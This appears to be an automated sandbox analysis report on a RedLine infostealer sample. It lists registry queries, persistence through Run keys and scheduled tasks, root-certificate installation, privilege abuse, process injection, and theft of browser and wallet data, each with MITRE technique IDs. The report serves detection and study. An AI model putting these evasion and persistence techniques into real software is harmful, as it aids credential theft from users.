redline | 5e2bf564a4f985a7482d505def1ec79c92566bf7eda4724811ee29b9c4a66156

System Information Discovery

Processes:

Fri10d184202996a0d7f.execonhost.exe6XDTQmvCC1V_00OX65YEvdFQ.exeutEkeZlY53DuxQs6RmMBzcQB.exeJxs95V0bYh7X3N82Mo4dE49n.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fri10d184202996a0d7f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fri10d184202996a0d7f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6XDTQmvCC1V_00OX65YEvdFQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6XDTQmvCC1V_00OX65YEvdFQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	utEkeZlY53DuxQs6RmMBzcQB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	utEkeZlY53DuxQs6RmMBzcQB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Jxs95V0bYh7X3N82Mo4dE49n.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Jxs95V0bYh7X3N82Mo4dE49n.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Fri10584c049c7f.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Fri10584c049c7f.exe

Loads dropped DLL 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.exeFri10584c049c7f.execmd.exeFri1015b9a4e0b.exeFri106e757f6d75.execmd.execmd.exeFri105268dda3.execmd.exeFri10d184202996a0d7f.execmd.execmd.exeFri10acd1e0a9e6.exeFri10fcc13ae0125c8.exeFri10fcc13ae0125c8.tmpFri106e757f6d75.exeFri1034cd265b5e0adcd.exeultramediaburner.exeultramediaburner.tmpcmd.exeFri10720d229511df563.exe

pid	process
1728	setup_x86_x64_install.exe
1784	setup_installer.exe
1784	setup_installer.exe
1784	setup_installer.exe
1784	setup_installer.exe
1784	setup_installer.exe
1784	setup_installer.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1760	setup_install.exe
1016	cmd.exe
588	cmd.exe
2012	cmd.exe
2012	cmd.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
816	cmd.exe
2044
2044
1272	Fri1015b9a4e0b.exe
1272	Fri1015b9a4e0b.exe
1636	Fri106e757f6d75.exe
1636	Fri106e757f6d75.exe
1380	cmd.exe
932	cmd.exe
932	cmd.exe
436	Fri105268dda3.exe
436	Fri105268dda3.exe
268	cmd.exe
268	cmd.exe
1368	Fri10d184202996a0d7f.exe
1368	Fri10d184202996a0d7f.exe
1812	cmd.exe
888	cmd.exe
1428	Fri10acd1e0a9e6.exe
1428	Fri10acd1e0a9e6.exe
1804	Fri10fcc13ae0125c8.exe
1804	Fri10fcc13ae0125c8.exe
1804	Fri10fcc13ae0125c8.exe
784	Fri10fcc13ae0125c8.tmp
784	Fri10fcc13ae0125c8.tmp
784	Fri10fcc13ae0125c8.tmp
784	Fri10fcc13ae0125c8.tmp
1636	Fri106e757f6d75.exe
1784	Fri106e757f6d75.exe
1784	Fri106e757f6d75.exe
1884	Fri1034cd265b5e0adcd.exe
1884	Fri1034cd265b5e0adcd.exe
2196	ultramediaburner.exe
2196	ultramediaburner.exe
2196	ultramediaburner.exe
2268	ultramediaburner.tmp
2268	ultramediaburner.tmp
2268	ultramediaburner.tmp
2268	ultramediaburner.tmp
2268	ultramediaburner.tmp
2268	ultramediaburner.tmp
684	cmd.exe
2396	Fri10720d229511df563.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10d184202996a0d7f.exe	themida
\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10d184202996a0d7f.exe	themida
C:\Users\Admin\AppData\Local\Temp\7zS8F6E07F2\Fri10d184202996a0d7f.exe	themida
behavioral3/memory/1368-186-0x00000000012F0000-0x00000000012F1000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

Sayma.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\Nuraelovaevo.exe\""	Sayma.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

Processes:

utEkeZlY53DuxQs6RmMBzcQB.exe6XDTQmvCC1V_00OX65YEvdFQ.exeJxs95V0bYh7X3N82Mo4dE49n.exeY8547zmzcFS7iXaXfxaPyMlP.exeVrnNsmL9HanxAfC5bkxmksKB.exeFri10d184202996a0d7f.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	utEkeZlY53DuxQs6RmMBzcQB.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6XDTQmvCC1V_00OX65YEvdFQ.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Jxs95V0bYh7X3N82Mo4dE49n.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Y8547zmzcFS7iXaXfxaPyMlP.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VrnNsmL9HanxAfC5bkxmksKB.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri10d184202996a0d7f.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

235 ipinfo.io
236 ipinfo.io
261 ipinfo.io
16 ip-api.com
25 ipinfo.io
26 ipinfo.io
189 ip-api.com

flow	ioc
235	ipinfo.io
236	ipinfo.io
261	ipinfo.io
16	ip-api.com
25	ipinfo.io
26	ipinfo.io
189	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

Fri10d184202996a0d7f.exeutEkeZlY53DuxQs6RmMBzcQB.exe6XDTQmvCC1V_00OX65YEvdFQ.exeJxs95V0bYh7X3N82Mo4dE49n.execonhost.exeY8547zmzcFS7iXaXfxaPyMlP.exe

pid	process
1368	Fri10d184202996a0d7f.exe
2928	utEkeZlY53DuxQs6RmMBzcQB.exe
3028	6XDTQmvCC1V_00OX65YEvdFQ.exe
3004	Jxs95V0bYh7X3N82Mo4dE49n.exe
2852	conhost.exe
2420	Y8547zmzcFS7iXaXfxaPyMlP.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Fri106e757f6d75.exe

description pid process target process

PID 1636 set thread context of 1784 1636 Fri106e757f6d75.exe Fri106e757f6d75.exe

description	pid	process	target process
PID 1636 set thread context of 1784	1636	Fri106e757f6d75.exe	Fri106e757f6d75.exe

Drops file in Program Files directory 14 IoCs

Processes:

Sayma.exeultramediaburner.tmpqRs7igib39zEjAaYcbigMyWZ.exe

description	ioc	process
File created	C:\Program Files (x86)\Mozilla Maintenance Service\Nuraelovaevo.exe.config	Sayma.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	qRs7igib39zEjAaYcbigMyWZ.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	qRs7igib39zEjAaYcbigMyWZ.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	qRs7igib39zEjAaYcbigMyWZ.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-V7O0N.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-11QJO.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst002.exe	qRs7igib39zEjAaYcbigMyWZ.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	qRs7igib39zEjAaYcbigMyWZ.exe
File created	C:\Program Files\Windows Portable Devices\ZGMDRAZMEB\ultramediaburner.exe	Sayma.exe
File created	C:\Program Files\Windows Portable Devices\ZGMDRAZMEB\ultramediaburner.exe.config	Sayma.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\Nuraelovaevo.exe	Sayma.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2700	2396	WerFault.exe	Fri10720d229511df563.exe
3512	2908	WerFault.exe	DxQ7CVSHglgUZ0jmKWfoZtmX.exe
1676	3880	WerFault.exe	qT3dWYBP7ZsuOrwW4ZcUbjl6.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Fri105268dda3.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe

Creates scheduled task(s) 1 TTPs 26 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3480	schtasks.exe
1160	schtasks.exe
5592	schtasks.exe
3676	schtasks.exe
1556	schtasks.exe
3324	schtasks.exe
2136	schtasks.exe
5412	schtasks.exe
108	schtasks.exe
3308	schtasks.exe
4128	schtasks.exe
1864	schtasks.exe
5580	schtasks.exe
3580	schtasks.exe
5556	schtasks.exe
3700	schtasks.exe
4344	schtasks.exe
4324	schtasks.exe
2756	schtasks.exe
4492	schtasks.exe
1788	schtasks.exe
5304	schtasks.exe
3992	schtasks.exe
2440	schtasks.exe
316	schtasks.exe
3192	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4392 timeout.exe

pid	process
4392	timeout.exe

Kills process with taskkill 11 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2836	taskkill.exe
4896	taskkill.exe
3816	taskkill.exe
5320	taskkill.exe
4544	taskkill.exe
1728	taskkill.exe
3980	taskkill.exe
3956	taskkill.exe
3156	taskkill.exe
4448	taskkill.exe
3320	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B6DFEF31-2347-11EC-BBE2-FA57589C9660} = "0"	iexplore.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

Fri10720d229511df563.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Fri10720d229511df563.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Fri10720d229511df563.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Fri10d184202996a0d7f.exeFri105268dda3.exeFri10584c049c7f.exe

pid	process
1368	Fri10d184202996a0d7f.exe
436	Fri105268dda3.exe
436	Fri105268dda3.exe
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1808	Fri10584c049c7f.exe
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228
1228

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1228
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Fri105268dda3.exe

pid process

436 Fri105268dda3.exe

pid	process
1228

pid	process
436	Fri105268dda3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Fri10b0a06a73706.exeforfiles.exeFri1015b9a4e0b.exeFri10720d229511df563.exepowershell.exeFri10d184202996a0d7f.exeFri106e757f6d75.exetaskkill.exeWerFault.exeUn0RH0icgtehjceFFqDkFBly.exe

description	pid	process
Token: SeDebugPrivilege	1392	Fri10b0a06a73706.exe
Token: SeDebugPrivilege	1728	forfiles.exe
Token: SeShutdownPrivilege	1228
Token: SeShutdownPrivilege	1228
Token: SeDebugPrivilege	1272	Fri1015b9a4e0b.exe
Token: SeCreateTokenPrivilege	2396	Fri10720d229511df563.exe
Token: SeAssignPrimaryTokenPrivilege	2396	Fri10720d229511df563.exe
Token: SeLockMemoryPrivilege	2396	Fri10720d229511df563.exe
Token: SeIncreaseQuotaPrivilege	2396	Fri10720d229511df563.exe
Token: SeMachineAccountPrivilege	2396	Fri10720d229511df563.exe
Token: SeTcbPrivilege	2396	Fri10720d229511df563.exe
Token: SeSecurityPrivilege	2396	Fri10720d229511df563.exe
Token: SeTakeOwnershipPrivilege	2396	Fri10720d229511df563.exe
Token: SeLoadDriverPrivilege	2396	Fri10720d229511df563.exe
Token: SeSystemProfilePrivilege	2396	Fri10720d229511df563.exe
Token: SeSystemtimePrivilege	2396	Fri10720d229511df563.exe
Token: SeProfSingleProcessPrivilege	2396	Fri10720d229511df563.exe
Token: SeIncBasePriorityPrivilege	2396	Fri10720d229511df563.exe
Token: SeCreatePagefilePrivilege	2396	Fri10720d229511df563.exe
Token: SeCreatePermanentPrivilege	2396	Fri10720d229511df563.exe
Token: SeBackupPrivilege	2396	Fri10720d229511df563.exe
Token: SeRestorePrivilege	2396	Fri10720d229511df563.exe
Token: SeShutdownPrivilege	2396	Fri10720d229511df563.exe
Token: SeDebugPrivilege	2396	Fri10720d229511df563.exe
Token: SeAuditPrivilege	2396	Fri10720d229511df563.exe
Token: SeSystemEnvironmentPrivilege	2396	Fri10720d229511df563.exe
Token: SeChangeNotifyPrivilege	2396	Fri10720d229511df563.exe
Token: SeRemoteShutdownPrivilege	2396	Fri10720d229511df563.exe
Token: SeUndockPrivilege	2396	Fri10720d229511df563.exe
Token: SeSyncAgentPrivilege	2396	Fri10720d229511df563.exe
Token: SeEnableDelegationPrivilege	2396	Fri10720d229511df563.exe
Token: SeManageVolumePrivilege	2396	Fri10720d229511df563.exe
Token: SeImpersonatePrivilege	2396	Fri10720d229511df563.exe
Token: SeCreateGlobalPrivilege	2396	Fri10720d229511df563.exe
Token: 31	2396	Fri10720d229511df563.exe
Token: 32	2396	Fri10720d229511df563.exe
Token: 33	2396	Fri10720d229511df563.exe
Token: 34	2396	Fri10720d229511df563.exe
Token: 35	2396	Fri10720d229511df563.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1368	Fri10d184202996a0d7f.exe
Token: SeDebugPrivilege	1784	Fri106e757f6d75.exe
Token: SeDebugPrivilege	2836	taskkill.exe
Token: SeShutdownPrivilege	1228
Token: SeDebugPrivilege	2700	WerFault.exe
Token: SeShutdownPrivilege	1228
Token: SeShutdownPrivilege	1228
Token: SeCreateTokenPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeAssignPrimaryTokenPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeLockMemoryPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeIncreaseQuotaPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeMachineAccountPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeTcbPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeSecurityPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeTakeOwnershipPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeLoadDriverPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeSystemProfilePrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeSystemtimePrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeProfSingleProcessPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeIncBasePriorityPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeCreatePagefilePrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeCreatePermanentPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeBackupPrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe
Token: SeRestorePrivilege	2564	Un0RH0icgtehjceFFqDkFBly.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

ultramediaburner.tmpiexplore.exe

pid process

1228
1228
2268 ultramediaburner.tmp
1228
1228
1324 iexplore.exe
Suspicious use of SendNotifyMessage 6 IoCs

Processes:

pid process

1228
1228
1228
1228
1228
1228
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1324 iexplore.exe
1324 iexplore.exe
2648 IEXPLORE.EXE
2648 IEXPLORE.EXE
2648 IEXPLORE.EXE
2648 IEXPLORE.EXE

pid	process
1228
1228
2268	ultramediaburner.tmp
1228
1228
1324	iexplore.exe

pid	process
1228
1228
1228
1228
1228
1228

pid	process
1324	iexplore.exe
1324	iexplore.exe
2648	IEXPLORE.EXE
2648	IEXPLORE.EXE
2648	IEXPLORE.EXE
2648	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exe

description	pid	process	target process
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1728 wrote to memory of 1784	1728	setup_x86_x64_install.exe	setup_installer.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1784 wrote to memory of 1760	1784	setup_installer.exe	setup_install.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1104	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 816	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 588	1760	setup_install.exe	cmd.exe
PID 1760 wrote to memory of 1016	1760	setup_install.exe	cmd.exe
